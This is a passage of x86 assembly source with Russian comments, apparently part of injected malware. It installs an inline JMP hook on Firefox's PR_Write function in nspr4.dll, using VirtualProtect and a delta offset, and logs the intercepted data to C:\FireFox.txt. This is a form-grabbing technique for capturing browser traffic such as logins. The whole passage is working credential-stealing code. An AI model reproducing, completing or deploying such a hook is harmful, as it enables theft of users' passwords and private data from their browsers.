; Список меток на которые ссылается предыдущий код.
         GetModHandle: ; <<< мини Самопальная функа для нахождения хендля модулей. Параметр в регистре ecx - имя DLL
                lea ecx,[ecx+ebp]
                push ecx
                call [GMHcall+ebp]
                ret

          GetAddr: ; <<< Для поиска адреса API функций. ecx-имя функции, eax-хэндл модуля в котором она расположена
                lea ecx,[ecx+ebp]
                push ecx
                lea eax,[eax+ebp]
                mov eax,[eax]
                push eax
                call [GPAcall+ebp]
                ret

          HookAPI: ; <<< Функция установки перехвата(хука) API
                pop edi ; <<< В edi адрес возврата.
                pop ecx ; <<< Имя модуля "nspr4.dll"
                call GetModHandle; <<< Поиск хэндла модуля.
                mov [HMod+ebp],eax
                mov eax,HMod; <<< HMod хэндла модуля.
                pop ecx; <<< Имя функции для перехвата, т.е. "PR_Write"
                call GetAddr; <<< Получаем адрес функции PR_Write.
                mov [FuncAdr+ebp],eax; <<< Сохраняем адрес PR_Write в FuncAdr.
                lea esi,[OldProt+ebp]; <<< Просто переменная для записи
                invoke VirtProt+ebp,[FuncAdr+ebp],6,PAGE_EXECUTE_READWRITE,esi; <<< Ставим права на запись 6 байт после начала PR_Write. API VirtualProtect.
                pop edx; <<< Адрес метки на которую будет переходить управление.
                lea edx,[edx+ebp]; <<< Выравнивание по дельта смещению.(Первый раз понял смысл этих слов :D)
                sub edx,[FuncAdr+ebp]; <<< O_0 и... и... вычитаем из этого добра адресс PR_Write.
                sub edx,5; <<< Вобщем формула была взята отсюда http://www.cyberguru.ru/programming/delphi/api-functions-hook-splicing.html
                xchg eax,edx; <<< Адрес для прыжка на наш код в EAX.
                mov edx,[FuncAdr+ebp]; <<< В EDX  адресс PR_Write.
                mov byte [edx],$E9; <<< опкод JMP помещается в память по адресу PR_Write.
                mov dword [edx+1],eax; <<< по адресу PR_Write со смещением в 1 байт помещается адрес метки NPR.
                mov byte [edx+5],$41  ; <<< смещение 5 байт, опкод INC ECX для того что бы не склеились команды.
                invoke VirtProt+ebp,[FuncAdr+ebp],6,[esi],esi; <<< Возвращаем памяти её атрибуты. API VirtualProtect.
                jmp edi; <<< прыгаем на адрес возврата
           


          WriteToFile:
                pop edi; <<< В edi адрес возврата
                lea edx,[Namef+ebp]; <<< в EDX Путь до файла для записи
                invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h
    ;Создаём или открываем файл.            
				mov [hFile+ebp],eax
                invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END; <<< Устанавливаем указатель на конец файла
                lea edx,[flbytes+ebp]; <<< Переменная для вывода результата записи.
                pop ebx; <<< Размер данных для записи.
                pop ecx; <<< Адрес данных.
                invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h; <<< Запись данных в файл.
                lea ecx,[EndLine+ebp]
                lea edx,[flbytes+ebp]
                invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h; <<< Запись файл символа окончания строки.
                lea edx,[hFile+ebp]
                invoke CloseHandleCall+ebp,[edx]; <<< Закрываем хэндл файла.
                jmp edi
;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>>
EndLine db 0x0A,0
PR_WriteStr db 'PR_Write',0
nspr4 db 'nspr4.dll',0
Namef db 'C:\FireFox.txt',0
CloseHandleStr db 'CloseHandle',0
WriteFileStr db 'WriteFile',0
SetFilePointerStr db 'SetFilePointer',0
CreateFileStr db 'CreateFileA',0
GPA db 'GetProcAddress',0
GMH db 'GetModuleHandleA',0
USER32 db 'user32.dll',0
VirtualProt db 'VirtualProtect',0
;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>>

thread_end: